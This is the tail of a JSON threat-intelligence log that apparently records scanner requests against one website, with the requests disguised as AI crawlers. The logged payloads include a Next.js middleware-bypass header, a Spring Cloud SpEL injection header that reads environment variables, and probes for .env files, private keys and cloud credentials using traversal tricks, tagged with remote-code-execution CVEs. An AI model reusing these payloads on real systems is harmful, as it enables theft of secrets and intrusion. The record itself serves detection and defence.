+http://www.apple.com/go/applebot)","ja3":"67560f98d68783bd640246df3052c151","session":"55b3f758-8adf-45e8-9504-469898029766","seq":12,"duration_ms":3227,"bytes_in":7913,"bytes_out":924},{"timestamp":"2026-10-13T12:00:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.34.75.174\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a49e2f6539c2beaf-LHR\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\",\"x-forwarded-for\":\"34.34.75.174\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.profile","summary":"","payload_hex":"474554202f2e70726f66696c6520485454502f312e310d0a782d666f727761726465642d666f723a2033342e33342e37352e3137340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a63662d7261793a20613439653266363533396332626561662d4c48520d0a782d6e6578746a732d646174613a20310d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e33342e37352e3137340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"67560f98d68783bd640246df3052c151","session":"2fe35fb1-2c62-462a-97b2-e6e738fafa46","seq":13,"duration_ms":3434,"bytes_in":8145,"bytes_out":1001}],"http_methods":[{"method":"GET","count":42},{"method":"POST","count":6}],"distinct_ports_total":1,"top_paths":[{"path":"/sa.json","count":1,"ports":1},{"path":"/flowise/api/v1/node-load-method/customMCP","count":1,"ports":1},{"path":"/apps/.env","count":1,"ports":1},{"path":"/src/.env","count":1,"ports":1},{"path":"/privatekey.key","count":1,"ports":1},{"path":"/.env.mail","count":1,"ports":1},{"path":"/.env::$DATA?raw","count":1,"ports":1},{"path":"/img../.env","count":1,"ports":1},{"path":"/.env.ses","count":1,"ports":1},{"path":"/bot/.env","count":1,"ports":1},{"path":"/dist../.env","count":1,"ports":1},{"path":"/admin%2F.env","count":1,"ports":1},{"path":"/webhook-test/","count":1,"ports":1},{"path":"/shop/.env","count":1,"ports":1},{"path":"/rclone.conf","count":1,"ports":1}],"distinct_paths_total":48,"top_snis":[{"value":"site.princhub.com","count":48}],"top_hosts":[{"value":"site.princhub.com","count":48}],"top_alpns":[{"value":"h2, http/1.1","count":48}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Content-Length","Content-Type","Host","Spring.cloud.function.routing-Expression","User-Agent","X-Forwarded-For","X-Forwarded-Proto"],"representative":[{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"34.34.75.174","notable":false},{"name":"Cf-Ipcountry","value":"NL","notable":false},{"name":"Cf-Ray","value":"a49e2f6c08a1beaf-LHR","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Content-Length","value":"4","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"Spring.cloud.function.routing-Expression","value":"T(java.lang.System).getenv()","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","notable":false},{"name":"X-Forwarded-For","value":"34.34.75.174","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]}],"data_as_of":"2026-10-15T04:41:04.490500+00:00"}